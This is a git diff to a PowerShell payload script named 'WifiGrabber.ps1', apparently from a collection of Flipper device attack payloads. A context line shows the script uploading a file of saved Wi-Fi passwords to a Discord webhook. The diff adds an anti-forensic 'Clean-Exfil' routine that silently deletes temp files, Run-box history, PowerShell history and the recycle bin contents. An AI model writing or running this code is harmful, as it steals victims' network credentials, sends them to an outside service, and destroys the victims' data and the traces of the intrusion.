diff --git a/Payloads/Flip-WifiGrabber/WifiGrabber.ps1 b/Payloads/Flip-WifiGrabber/WifiGrabber.ps1 index 56284e6..10097c6 100644 --- a/Payloads/Flip-WifiGrabber/WifiGrabber.ps1 +++ b/Payloads/Flip-WifiGrabber/WifiGrabber.ps1 @@ -62,5 +62,25 @@ if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file "$env:TEMP/--wifi- ############################################################################################################################################################ +function Clean-Exfil { + +# empty temp folder +rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue + +# delete run box history +reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f -ErrorAction SilentlyContinue + +# Delete powershell history +Remove-Item (Get-PSreadlineOption).HistorySavePath -ErrorAction SilentlyContinue + +# Empty recycle bin +Clear-RecycleBin -Force -ErrorAction SilentlyContinue + +} + +############################################################################################################################################################ + +if (-not ([string]::IsNullOrEmpty($ce))){Clean-Exfil} + RI $env:TEMP/--wifi-pass.txt